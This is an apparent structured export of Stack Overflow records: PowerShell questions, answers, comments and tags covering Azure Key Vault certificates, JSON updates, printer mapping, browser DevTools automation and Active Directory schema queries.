type: QuestionComment
type: Comment
has text: Provide your function code.
score: 0
comment on: http://stackoverflow.com/q/79333188

http://stackoverflow.com/comment/139965684
score: 0
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment
has text: @jdweng that is because the hello and $PSVersiontable is in another test function following the Restart-ScriptInPowerShell7, so it is irrelevant to my post.

http://stackoverflow.com/a/79290171
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79287889
accepted answer of: http://stackoverflow.com/q/79287889
type: AcceptedAnswer
has body: To retrieve certificate from Azure Key Vault and generate the access token, make use of Get-AzKeyVaultSecret command instead of Get-AzKeyVaultCertificate command. # Parameters $tenantID = 'TenantID' $clientID = 'ClientID' $keyVaultName = 'autokvruk' $certName = 'rukcerttdyypfx' $scope = 'https://graph.microsoft.com/.default' Connect-AzAccount -Identity # Retrieve the certificate from Azure Key Vault as a Base64-encoded string $pfxSecret = Get-AzKeyVaultSecret -VaultName $keyVaultName -Name $certName -AsPlainText # Convert the Base64-encoded string to bytes $secretByte = [Convert]::FromBase64String($pfxSecret) # Load the certificate using the X509Certificate2 class $x509Cert = New-Object Security.Cryptography.X509Certificates.X509Certificate2($secretByte, $null, [Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable) # Get the MSAL token using the certificate try { $token = Get-MsalToken -ClientId $clientID -TenantId $tenantID -ClientCertificate $x509Cert -Scope $scope Write-Host "Successfully retrieved the token." Write-Host "Access Token: $($token.AccessToken)" } catch { Write-Host "Error getting the token: $_" } Access token generated successfully: Uploaded the .pfx cert in the Azure Key Vault: And uploaded the .cer certificate to the Microsoft Entra ID application: Assigned Key Vault Certificate User and Key Vault Secrets User roles to managed identity. Executed the script in PowerShell 7.1 version. Reference: powershell - Retrieving a PFX certificate from Azure Key Vault - Stack Overflow by me
downvote count: 0

http://stackoverflow.com/comment/139799559
type: QuestionComment
has text: `-Filter {Name -like "*$substring*"}` will fail, you need to use a string.
comment on: http://stackoverflow.com/q/79278937
type: Comment
score: 0

http://stackoverflow.com/comment/139853316
has text: "_unhelpful_" - well, next time I'm gonna edit you right away, but I have the slight idea that you don't see that as help either. You're simply not able to take criticism (which **is** the help). I came for the Q title and was disappointed that a solution was redirected to PS. And it wasn't even that reliable - it was just quick (and dirty, given all the disadvantages I already named).
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment

http://stackoverflow.com/comment/139854745
score: 0
comment on: http://stackoverflow.com/a/79308669
type: AnswerComment
has text: @VerityFreedom, note that that this answer's solution is functionally equivalent (but slower, due to byte-by-byte processing) to the first solution in my answer - assuming that the premise of your question holds (a with-BOM UTF-8 file that you want to convert to a BOM-less UTF-8 file). If the input file doesn't have a UTF-8 BOM, the byte-based solution in this answer will corrupt your file, and the text-based approach in my solution may or may not still work, depending on whether `Get-Content` detects or assumes the true encoding.
type: Comment

http://stackoverflow.com/comment/139811293
type: Comment
score: 0
has text: The credentials are the same between the C# and PowerShell version, the credentials are correct... The method you suggest results in "Cannot find type [Microsoft.AnalysisServices.Server]: verify that the assembly containing this type is loaded." which if you look into it further results in a bit of a rabbit hole of loading libraries through powershell, I never got anywhere with that approach which resulted in me trying to load that libraries by hand.
type: AnswerComment
comment on: http://stackoverflow.com/a/79284685

http://stackoverflow.com/comment/140042256
type: QuestionComment
type: Comment
score: 3
has text: Is typing `*code<TAB>` undesirable?
comment on: http://stackoverflow.com/q/79407490

mdx
type: Tag
tags question: http://stackoverflow.com/q/79278800
tag name: mdx

http://stackoverflow.com/comment/139879055
comment on: http://stackoverflow.com/q/79301590
score: 0
has text: This is by design, graph API does not support personal account users currently.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79400936
type: Answer
answers question: http://stackoverflow.com/q/79400862
downvote count: 1
has comment: http://stackoverflow.com/comment/140027232
score: -1
upvote count: 0
has body: As far as I know, you can not iterate further up the pipeline, you will have to split your code a little. Something like this - I think you will have to further work out the html conversion but it could get you started: $user = [System.Security.Principal.WindowsIdentity]::GetCurrent() $groups = $user.groups $result = @() $result += [pscustomobject]@{ name = $user.name groups = @() } foreach ($g in $groups){ Try{ $result[0].groups += $g.Translate([System.Security.Principal.NTAccount]).Value + ' (' + $g.Value +')' } Catch{ $result[0].groups += $g } } $result

http://stackoverflow.com/comment/139758918
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79255264
score: 0
has text: @lit _"Are you saying that some installers create processes that do not end before the initial process completes?"_ Yup. In particular some larger system/driver installers that are actually a number of smaller installers that the vendor carefully crafts to install disparate subcomponents in just the right order with just the right arguments. Intel and nVidia graphics drivers distributed by Dell are some examples that come to mind.

http://stackoverflow.com/comment/139795681
type: Comment
score: 2
has text: You have `-EA 0`, empty variable might mean you failed to connect to `$server`. Remove it and see if you get an actual error
comment on: http://stackoverflow.com/q/79276834
type: QuestionComment

http://stackoverflow.com/comment/139843554
score: 0
comment on: http://stackoverflow.com/q/79302651
type: QuestionComment
has text: The [ThrottleLimit](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object?view=powershell-7.4#-throttlelimit) parameter ?
type: Comment

http://stackoverflow.com/a/79272658
has comment: http://stackoverflow.com/comment/139797101
has body: How to update all properties in the Json using a password stored in a file: $json = Get-Content path\to\json.txt -Raw | ConvertFrom-Json $pass = Get-Content path\to\password.txt $json.PSKs.PSObject.Properties | ForEach-Object { $_.Value = $pass } $json | ConvertTo-Json | Set-Content path\to\json.txt How to update a single property in the Json using a password stored in a file, say for example, to dynamically update the property that corresponds with the current month: $json = Get-Content path\to\json.txt -Raw | ConvertFrom-Json $pass = Get-Content path\to\password.txt $month = [datetime]::Now.ToString('MM') # `$json.PSKs.$month` would work too here $json.PSKs.PSObject.Properties[$month].Value = $pass $json | ConvertTo-Json | Set-Content path\to\json.txt How to update all properties using a randomly generated password, for this you will need to figure out what logic you want to use to generate a random password. A very easy way is via RandomNumberGenerator.GetString(ReadOnlySpan&lt;Char&gt;, Int32) Method but this method only works in PowerShell 7. # `$chars` can be whatever you like, this is just an example $chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%&amp;_-+='.ToCharArray() $json = Get-Content path\to\json.txt -Raw | ConvertFrom-Json $json.PSKs.PSObject.Properties | ForEach-Object { # `20` is for the string length $_.Value = [System.Security.Cryptography.RandomNumberGenerator]::GetString($chars, 20) } $json | ConvertTo-Json | Set-Content path\to\json.txt
has comment: http://stackoverflow.com/comment/139798041
answers question: http://stackoverflow.com/q/79272508
accepted answer of: http://stackoverflow.com/q/79272508
downvote count: 0
has comment: http://stackoverflow.com/comment/139797181
type: Answer
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/139876627
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79320969
type: Comment
has text: @bluuf make sense, I just thought those few commands should be simple. Would you go with az rest or moving completely to bicep?

http://stackoverflow.com/comment/140025287
has text: what kind of data does this csv contain?
type: Comment
comment on: http://stackoverflow.com/a/79395946
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139994685
type: AnswerComment
has text: I get that, but the cmdlet fails in the console. So if it's unhelpful being aware of the fact that it does work in the ISE, fine. I am just hoping to get an answer as to how to actually get Culture based date and time formats in PowerShell 5.1 running in the console. I just find the fact that something works in the ISE sometimes provide a thread to follow to find what needs to be loaded to make it work in the console. But so far I am failing in that exercise.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79383869

http://stackoverflow.com/comment/139743267
score: 0
comment on: http://stackoverflow.com/q/79247480
has text: I updated my code above, nothing works
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79358935
has title: Setting Dev-Tool Sensor (Time Zone) with only Powershell
tagged with: chromium
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79360924
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/79360924
tagged with: microsoft-edge
has body: I came up with the following script to set a sensor in order to to change the time zone for the edge brwoser: # Start Edge with remote debugging enabled and a custom profile Start-Process "msedge.exe" "--remote-debugging-port=9222 --auto-open-devtools-for-tabs --user-data-dir=C:\TestProfile https://example.com" # Wait for Edge to start Start-Sleep -Seconds 5 # Connect to the DevTools protocol $websocketDebuggerUrl = (Invoke-RestMethod -Uri "http://localhost:9222/json/version").webSocketDebuggerUrl # Function to send messages to WebSocket function Send-WebSocketMessage { param ( [Parameter(Mandatory=$true)] [string]$message ) $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) $segment = [System.ArraySegment[byte]]::new($buffer) $websocket.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [Threading.CancellationToken]::None).Wait() } # Establish WebSocket connection $websocket = New-Object System.Net.WebSockets.ClientWebSocket $websocket.Options.KeepAliveInterval = [TimeSpan]::FromSeconds(20) $websocket.ConnectAsync([Uri]$websocketDebuggerUrl, [Threading.CancellationToken]::None).Wait() # Set timezone $timezonePayload = @{ id = 1 method = "Emulation.setTimezoneOverride" params = @{ timezoneId = "Asia/Tokyo" } } | ConvertTo-Json -Compress Send-WebSocketMessage -message $timezonePayload # Receive response $receiveBuffer = New-Object byte[] 1024 $receiveSegment = [System.ArraySegment[byte]]::new($receiveBuffer) $websocket.ReceiveAsync($receiveSegment, [Threading.CancellationToken]::None).Wait() $response = [System.Text.Encoding]::UTF8.GetString($receiveBuffer).TrimEnd([char]0) Write-Output "Response from WebSocket: $response" $websocket.Dispose() The Problem I have is that i always get : Response from WebSocket:{"id":1,"error":"code":-32601,"message":"'Emulation.setTimezoneOverride' wasn't found"... The goal is to change the Time Zone for this browsersession only and not interfering with the original user profile or other Tabs / Windwo…
answer count: 1
type: AnsweredQuestion
downvote count: 0
tagged with: google-chrome-devtools
tagged with: powershell

favorites
type: Tag
tags question: http://stackoverflow.com/q/79247939
tag name: favorites

http://stackoverflow.com/comment/139765839
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79260249
has text: For that (to be at the safe side) you indeed will need to add an unique id as the `SID` (Security Identifier)), `samAccountName`, `DN` (Domain Name) or `CN` (Common Name) to the `csv` list.
type: QuestionComment

http://stackoverflow.com/comment/139743312
has text: I finally made it work, see my answer
score: 1
comment on: http://stackoverflow.com/q/79247480
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79284932
has comment: http://stackoverflow.com/comment/139822535
type: UnansweredQuestion
score: 0
tagged with: rest
has title: Upload csv using Invoke-RestMethod
has comment: http://stackoverflow.com/comment/139810509
type: Question
answer count: 0
has body: I am trying to upload a local csv file to the import endpoint of 4me/xurrent using power shell. My latest version looks as follows and still receives an error. $importUrl = "https://api.xurrent.qa/v1/import" # Create the headers for the import request $ImportHeaders = @{ Authorization = "Bearer $bearerToken" "X-4me-Account" = "XXX" "Content-Type" = "multipart/form-data" } # Create the body for the import request $importBody = @{ file = $ImportFile type = "cis" } #QA Import to Xurrent with PROXY $importResponse = Invoke-RestMethod -Method Post -Uri $importUrl -Headers $ImportHeaders -inFile $importBody This get's the following error: Invoke-RestMethod : Der Pfad "C:\Users\XXX\System.Collections.Hashtable" kann nicht gefunden werden, da er nicht vorhanden ist. In \\tst_mgmt\4me_Import_Share\Scripts\QA - Import CI.ps1:65 Zeichen:19 + ... tResponse = Invoke-RestMethod -Method Post -Uri $importUrl -Headers $ ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:\Users\XXX...tions.Hashtable:String) [Invoke-RestMethod], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.InvokeRestMethodCommand ImportBody looks like this: Name Value ---- ----- file C:\Users\XXX\Downloads\XXX.csv type cis
tagged with: powershell
has comment: http://stackoverflow.com/comment/139810415

http://stackoverflow.com/comment/139898845
comment on: http://stackoverflow.com/q/79321398
has text: Seems like you're looking for a way to download the assembly, `dotnet add package` will require first a project to add said package (`dotnet new classlib`)... Have a look at this answer: https://stackoverflow.com/a/77276619/15339544 to help you get your assembly
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79334761
type: Answer
score: 1
answers question: http://stackoverflow.com/q/79334734
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79334734
type: AcceptedAnswer
has body: Assuming you know what Column Index is the Target column, you could try with Set-ExcelColumn setting the -Value to null: $SomeSheet = 'C:\Some\Path\lorem.xlsx' $MasterDBSheetName = 'Database' $pkg = Open-ExcelPackage -Path $SomeSheet $content = Import-Excel -ExcelPackage $pkg -WorksheetName $MasterDBSheetName foreach ($dbRow in $content) { $dbRow.Destination = $dbRow.Target + ' ' + $dbRow.Destination $dbRow.Target = $null } # here you set the value of the desired column to null $setExcelColumnSplat = @{ ExcelPackage = $pkg WorksheetName = $MasterDBSheetName # assuming `Destination` is the first column Column = 1 # assuming the data starts on row 1 StartRow = 1 Value = $null } Set-ExcelColumn @setExcelColumnSplat # then export the updated worksheet $MasterDBSheet | Export-Excel -ExcelPackage $pkg -WorksheetName $MasterDBSheetName
downvote count: 0

http://stackoverflow.com/comment/139868775
type: Comment
has text: Please expand on what "not working" looks like - do you get errors?
score: 1
comment on: http://stackoverflow.com/q/79317582
type: QuestionComment

t-sql
tags question: http://stackoverflow.com/q/79395776
tags question: http://stackoverflow.com/q/79369758
type: Tag
tag name: t-sql

http://stackoverflow.com/comment/139871154
has text: Is the `google-compute-engine` tag relevant here? If so, please edit your question to explain why.
comment on: http://stackoverflow.com/q/79318657
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139941346
score: 0
type: QuestionComment
type: Comment
has text: @MathiasR.Jessen added
comment on: http://stackoverflow.com/q/79350561

http://stackoverflow.com/a/79258418
score: 1
type: Answer
downvote count: 0
has body: How can I catch the output in powershell? Fundamentally, you cannot directly capture process output from a Start-Process call - all you can do is to redirect it to files, using -RedirectStandardOutput and RedirectStandardError. That said, except in special circumstances, there is no need to use Start-Process to synchronously invoke a program that produces stdout (and possibly also stderr) output, i.e. a console(-subsystem) application: Simply use direct invocation in that case, which is implicitly synchronous and connects the application process' stdout and stderr streams directly to PowerShell's output streams. Additionally, PowerShell then implicitly reflects the process exit code in the automatic $LASTEXITCODE variable. In fact, a nonzero $LASTEXITCODE value is usually a more reliably indicator of failure than examining the application's output (but only if that application honors this widely observed exit-code convention). Therefore, if you want to stick with your approach of analyzing the application's stdout output, replace the Start-Process call with the following (while keeping the rest of your code): # Use direct invocation; note the need to use &amp;, the call operator, # for syntactic reasons. $r = &amp; $team -x Is there a method to get an installation failed with teamsbootstrapper.exe? Consider using the most widely used PowerShell testing framework, Pester, which allows you to mock command calls, allowing you to simulate failure.
upvote count: 1
answers question: http://stackoverflow.com/q/79258378

http://stackoverflow.com/comment/139828022
has text: I only just realized my answer failed to address the actual question about method signatures :) Updated
type: QuestionComment
comment on: http://stackoverflow.com/q/79293130
type: Comment
score: 0

http://stackoverflow.com/comment/139857384
type: Comment
comment on: http://stackoverflow.com/q/79310971
has text: Consider setting the default profile to Command Prompt https://superuser.com/questions/1789185/change-default-windows-terminal-from-powershell-to-command-prompt-in-windows-11/1789196#1789196
score: 1
type: QuestionComment

http://stackoverflow.com/q/79339937
has answer: http://stackoverflow.com/a/79340091
accepted answer: http://stackoverflow.com/a/79340091
tagged with: powershell
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139911032
type: AnsweredQuestion
score: 1
upvote count: 1
favorite count: 0
has body: $ACTIVE_PRINTERS = Get-Printer try { if (Get-Variable -Name LM -ErrorAction SilentlyContinue){ Write-Host "Lexmark Printers" foreach ($PrinterName in $LM.Keys) { $ip = $LM[$PrinterName] if (!$ACTIVE_PRINTERS.Contains($PrinterName)) { Add-PrinterPort "$ip" Add-Printer -DriverName "Lexmark Universal v2" -Name $PrinterName -PortName "$ip" } Write-Host "$PrinterName : $ip Are Mapped" } } else { Write-Host "No Lexmark Printers Located in $sqdrn" } } catch { Write-Error "An error occurred: $($_.Exception.Message)" } I am attempting to make a script that runs through a list of IP addresses and map the printer and name, the mapping and naming aspect works but the filtration doesn't work and it just tells me the printer:ip pair exists and errors out. Even with the printers removed/unmapped via settings and control panel. Here is an example of the key value pairs located in the LM array. $LM = @{"ROOM#1"="192.168.x.1";"ROOM#2"="192.168.x.2"} Below is the error recieved. Add-PrinterPort : The specified port already exists. At C:\Users\foobar\Desktop\MappingPrinter.ps1:85 char:17 + Add-PrinterPort "$ip" + ~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ResourceExists: (MSFT_PrinterPortTasks:ROOT/StandardCimv2/MSFT_PrinterPortTasks) [Add-PrinterPort], CimException + FullyQualifiedErrorId : HRESULT 0x800700b7,Add-PrinterPort Add-Printer : The specified printer already exists. At C:\Users\foobar\Desktop\MappingPrinter.ps1:86 char:17 + ... Add-Printer -DriverName "Lexmark Universal v2" -Name $Pri ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (MSFT_Printer:ROOT/StandardCimv2/MSFT_Printer) [Add-Printer], CimException + FullyQualifiedErrorId : HRESULT 0x8007070a,Add-Printer I have tried many variations of the if statement for $ACTIVE_PRINTERS and am fairly new to powershell. If anyone needs more information or i didnt give enough please let me know!
type: Question
has title: Auto Mapping Script in Powershell: Filtration Error

http://stackoverflow.com/a/79481334
score: 0
has body: The way to manipulate array in powershell 5.1 is the same for pwsh 7.5. Initializing variables $group1 = @(@('a', 'b', 'c')) $group2 = @(@('e', 'f')) Adding in a flattened way. $groups = @() $groups += $group1 $groups += $group2 $groups.Count Results in 5 Adding without flattening. Note the comma character. $groups = @() $groups += , $group1 $groups += , $group2 $groups.Count Results in 2 The same goes for the reported situation @(@('a', 'b')).Count Results in 2 @(,@('a', 'b')).Count Results in 1 Now, looking at the context of your actual situation, we have: ( $group1 + $group2 ).Count Results in 5 ( , $group1 + , $group2 ).Count Results in 2 In the + operator, add the comma operator to each operand. In the += operator, add the comma operator.
answers question: http://stackoverflow.com/q/79363011
type: Answer

http://stackoverflow.com/a/79394390
accepted answer of: http://stackoverflow.com/q/79393539
has comment: http://stackoverflow.com/comment/140023909
type: Answer
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/140023189
has body: The Active Directory schema model allows for composition through auxiliary classes - these classes can be associated with an existing structural class schema (like User), to extend the base functionality of a given kind of object. If you want to enumerate all possible attributes an object of a given class can contain you'll need to enumerate not just the class and its parents, but the auxiliary classes as well. To get the full list of possible attributes for a given structural object class, combine: mayContain, mustContain, systemMayContain, systemMustContain values from: Every class in the inheritance hierarchy: eg. User -> Organizational-Person -> Person -> Top you can "follow" the subClassOf attribute to resolve the parent tree until you reach the Top class, the subClassOf value of which will refer to itself - the format stored in subClassOf is always the ldap display name of the parent class Every auxiliary class, transitively (ie. recursively resolved for every class in the hierarchy): eg. User class has Security-Principal and Mail-Recipient classes attached the immediately attached auxiliary classes can be located in the auxiliaryClass, systemAuxiliaryClass attributes of the class schema I'd strongly suggest fetching all the class schema details up front, and then indexing them with a hashtable - it's gonna make recursive resolution of parent and auxiliary classes easier and much faster: # query, fetch and index all class schemas $classSchemaSearchParams = @{ SearchBase = (Get-ADRootDSE -Server $Server).schemaNamingContext Server = $Server Filter = { objectClass -eq 'classSchema'} Properties = 'lDAPDisplayName','auxiliaryClass','systemAuxiliaryClass','mayContain','systemMayContain','mustContain','systemMustContain','subClassOf' } $allClassSchemas = @{} Get-ADObject @classSchemaSearchParams |ForEach-Object { $allClassSchemas[$_.lDAPDisplayName] = $_ } Now that we have all the schema relations available, we can resolve all attributes that can be attached to an o…
downvote count: 0
answers question: http://stackoverflow.com/q/79393539
type: AcceptedAnswer

sort-object
type: Tag
tag name: sort-object
tags question: http://stackoverflow.com/q/79334607

http://stackoverflow.com/comment/139897827
comment on: http://stackoverflow.com/a/79326188
type: Comment
score: 0
type: AnswerComment
has text: Did you also try to add the cli application?

http://stackoverflow.com/comment/139832548
comment on: http://stackoverflow.com/q/79296931
score: 0
has text: Perhaps [How to config visual studio to use UTF-8 as the default encoding for all projects?](https://stackoverflow.com/a/65945041/9898643) will help?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139941453
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79354709
has text: The same filename. Not the same folder. diff requires two filenames (including folder).

http://stackoverflow.com/comment/139766602
has text: @mklement0 Interesting. Do you have a repro demonstrating missing a process? I did not succeed at achieving that. I can imagine a design where polling of queue indeed takes place, but that queue is guaranteed to contain all the events.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79258729

smtp
type: Tag
tag name: smtp
tags question: http://stackoverflow.com/q/79291055

http://stackoverflow.com/comment/140023472
type: QuestionComment
comment on: http://stackoverflow.com/q/79399193
type: Comment
has text: Did not work, lol. I appreciate the effort, lol.
score: 0

http://stackoverflow.com/comment/139994751
score: 1
comment on: http://stackoverflow.com/q/79383686
has text: @Gordon, just to close the PowerShell 7 tangent: PowerShell 7 can be installed for all users too, and it is what the installer does by default (also when you install via `winget`).
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79334293
downvote count: 0
type: Answer
upvote count: 1
has body: See Thomas's answer in comments. Link also provided here: https://github.com/microsoftgraph/msgraph-sdk-powershell/issues/1622 I just needed to add a @( ) to the variable of "ResourceAccess" under -RequiredResourceAccess.
has comment: http://stackoverflow.com/comment/139899819
score: 1
answers question: http://stackoverflow.com/q/79334181

http://stackoverflow.com/q/79292221
answer count: 2
tagged with: windows
tagged with: printing
has answer: http://stackoverflow.com/a/79292424
favorite count: 0
type: Question
has title: How can I print a pdf file using powershell on Windows 11?(on an external printer)
has answer: http://stackoverflow.com/a/79292277
has comment: http://stackoverflow.com/comment/139823761
upvote count: 2
downvote count: 0
tagged with: powershell
score: 2
has comment: http://stackoverflow.com/comment/139823870
has body: I would like to print multiple pdf files using PowerShell. I have tried multiple solutions available, but they did not work for me. one solution I tried was the following: get-childItem "*.pdf" | sort lastWriteTime | foreach-object {start-process $._Name -verb 'print'} or also: @("*.pdf") | %{gci $_} | sort Name | foreach-object {while (@(Get-Printer | Get-PrintJob).Count -gt 0) {Start-Sleep -S 3;write-Host . -NoNewline};Write-Host "";Write-Host $_.Name;start-process -FilePath $_.fullname -verb 'print';while (@(Get-Printer | Get-PrintJob).Count -eq 0) {Start-Sleep -S 1;write-Host . -NoNewline}} The error I get is the following: Start-Process: This command cannot be run due to the error: An error occurred trying to start process 'C:\Users\123\files\123.pdf' with working directory 'C:\Users\123\files'. No application is associated with the specified file for this operation. I would like to avoid using Adobe Reader or other third-party apps to solve this issue./ To clarify: I would like to print it with an external printer(HP Printer) and not print the pdf again as another pdf file. I would appreciate any hint. Thank you!
has comment: http://stackoverflow.com/comment/139823725
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/140026999
score: 0
has text: Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79394893

http://stackoverflow.com/comment/139755945
type: QuestionComment
type: Comment
has text: Hi @MegaDrive68k, please check 'Microsoft.Online.SharePoint.PowerShell' link. I post the screenshot that the module is installed in the target server.
comment on: http://stackoverflow.com/q/79254020
score: 0

http://stackoverflow.com/a/79326081
type: Answer
has comment: http://stackoverflow.com/comment/139988320
has body: Pull bicep modules from ACR to consume using AzurePowershell@5 task in Azure pipeline In order to connect to an Azure Container Registry using an Azure DevOps service connection, you can create a Docker registry service connection by selecting 'Container Registry,' as shown in the screenshots below. Note: The account you logged into DevOps may need the Owner role Create a Docker registry service connection When you create a⁣Docker service connection, the AcrPush role is assigned to the⁣container registry by default. For your requirements, assign the AcrPull role to the service principal. If you are still having issues with PowerShell, you can use Azure CLI instead. - task: AzureCLI@2 displayName: "Deploy Deployment Stacks" inputs: azureSubscription: 'service-conn' scriptType: 'pscore' scriptLocation: 'inlineScript' inlineScript: | az bicep build --file $(Build.SourcesDirectory)/path/to/your.bicep az deployment sub create --template-file $(Build.SourcesDirectory)/path/to/your.bicep You can follow the MS Doc to authenticate the Azure container registry using the Docker Registry Service Connection. Reference: Docker Registry service connection Build and publish to Azure Container Registry service connection types
score: 0
answers question: http://stackoverflow.com/q/79297824

http://stackoverflow.com/comment/139798610
type: AnswerComment
has text: I have added the snippet in the original question itself.. I was not able to add in the comments as it has 555 max characters allowed
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79274662

http://stackoverflow.com/comment/139759225
comment on: http://stackoverflow.com/a/79256609
type: AnswerComment
has text: I see. Do you see a way to accomplish that without turning the scriptblock into a string? The downside is that the error position information gets stripped. It seems like that must be possible since Invoke-Command is able to do so...but I'm still trying to make sense of how that's done
type: Comment
score: 0

http://stackoverflow.com/q/79279207
score: 0
has body: I have created a service principle in Azure AD B2C and want to upload TrustFrameworkExtensions.xml file to it using Set-AzureADMSTrustFrameworkPolicy powershell cmdlet in GHA. Everything in this works for me except the last line. I get an error Set-AzureADMSTrustFrameworkPolicy is not know cmdlet even though I am able to successfully import Powershell AzureADPreview module without any issues. I am pulling my hair out to figure this out. Also note this works on my laptop. But i am getting an error while running it in github actions. I am running windows powershell this is the error: Set-AzureADMSTrustFrameworkPolicy : The term 'Set-AzureADMSTrustFrameworkPolicy' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At D:\a\_temp\e4c3721f-2770-44f1-897e-b9434474d966.ps1:23 char:1 + Set-AzureADMSTrustFrameworkPolicy -Id B2C_1A_TrustFrameworkExtensions ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Set-AzureADMSTrustFrameworkPolicy:String) [], ParentContainsErrorRecord Exception + FullyQualifiedErrorId : CommandNotFoundException Error: Process completed with exit code 1. This is the code: run-script: runs-on: windows-latest # Run on Windows for PowerShell compatibility steps: - name: Checkout repository uses: actions/checkout@v3 - name: Azure login uses: azure/login@v2 with: creds: ${{ secrets.AZURE_CREDENTIALS }} - name: Upload Files to Azure AD B2C run: | Install-Module -Name AzureADPreview -Scope CurrentUser -Force -AllowClobber Import-Module AzureADPreview if (Get-Module -Name AzureADPreview -ListAvailable) { Write-Host "AzureADPreview module is installed." } else { Write-Host "AzureADPreview module is not installed." } az login --service-principal --username $service-principal-clientId --password $service-principal-password --tenant $tenantId --allow-no-subscriptions $aadToken = az account get-access-t…
type: Question
has comment: http://stackoverflow.com/comment/139801455
has comment: http://stackoverflow.com/comment/139800135
tagged with: azure-ad-b2c
tagged with: azure-ad-b2c-custom-policy
answer count: 1
type: AnsweredQuestion
has title: Set-AzureADMSTrustFrameworkPolicy powershell cmdlet works on laptop but not in github actions. No changes done
has answer: http://stackoverflow.com/a/79283746
accepted answer: http://stackoverflow.com/a/79283746
tagged with: powershell
tagged with: github-actions
tagged with: azure

http://stackoverflow.com/q/79273698
score: 2
has answer: http://stackoverflow.com/a/79276891
tagged with: start-process
has answer: http://stackoverflow.com/a/79273719
tagged with: powershell
has answer: http://stackoverflow.com/a/79275932
type: UnansweredQuestion
tagged with: scripting
linked to: http://stackoverflow.com/q/51333183
has body: I'd like to be able to pass environment variables from one PowerShell process to another. I have an "entrypoint" script, let's call it Script1.ps1. From Script1.ps1, I would like to pass an environment variable to Script2.ps1, which I start up via a Start-Process block. Script1.ps1's Start-Process block: $MY_ENV_VAR = "hello world!" $arg_list = @( "-ExecutionPolicy Bypass", "-NoExit", "-Command", ".\Script2.ps1", "-EnvVar $MY_ENV_VAR", "-ErrorAction Continue" ) Start-Process 'PowerShell.exe' ` -NoNewWindow ` -ArgumentList $arg_list ` -Wait Script2.ps1 Write-Host "The message from Script1 was: $MY_ENV_VAR" I want this to return "The message from Script1 was: hello world!", but it returns: "The message from Script1 was:" I would use the -Environment parameter that was added to Start-Process with pwsh version 7.4, but sadly, I need to use Windows' 10's built-in PowerShell as this runs as part of a suite of setup scripts for VMs that runs before one can install anything from the internet. (https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7.4)
tagged with: environment-variables
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/71398640
has title: How to pass environment variables to Start-Process using ArgumentList?
answer count: 3
tagged with: windows
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/79513542
type: Answer
has body: 1 • Download alternative [System.IO] class from : https://www.codeproject.com/Articles/1383832/System-IO-Directory-Alternative-using-WinAPI 2 • Extract "System.IO.DirectoryAlternative.dll" file to script path directory 3 • Usage : $assembly = $(gci -Path "$PWD\System.IO.DirectoryAlternative.dll").FullName # assembly - load [void][System.Reflection.Assembly]::LoadFile($assembly) # directories list $target_path = "c:\windows" $directories = [System.IO.DirectoryAlternative]::EnumerateDirectories($target_path ,"*",[System.IO.SearchOption]::AllDirectories) # files list $files = [System.IO.DirectoryAlternative]::EnumerateFiles("$target_path","*.log",[System.IO.SearchOption]::AllDirectories) # get more properties $files_ps = @{ Property = @( "BaseName","Name","FullName","Length" ) } $filesnfo = $files | %{ [System.IO.FileInfo]$_ | select @files_ps }
score: 0
answers question: http://stackoverflow.com/q/79374134

http://stackoverflow.com/comment/139766654
type: Comment
score: 1
type: AnswerComment
has text: I may have jumped to conclusions: I missed that it is _events_ that are being polled, not processes. So, assuming that there is indeed a queue that prevents events from slipping through the cracks (do you know its length / how it is managed?), only half of my (since deleted) comment applies: polling in short intervals can increase the CPU load noticeably.
comment on: http://stackoverflow.com/a/79258729

http://stackoverflow.com/q/79364722
tagged with: parallel.foreach
score: 0
tagged with: powershell-5.1
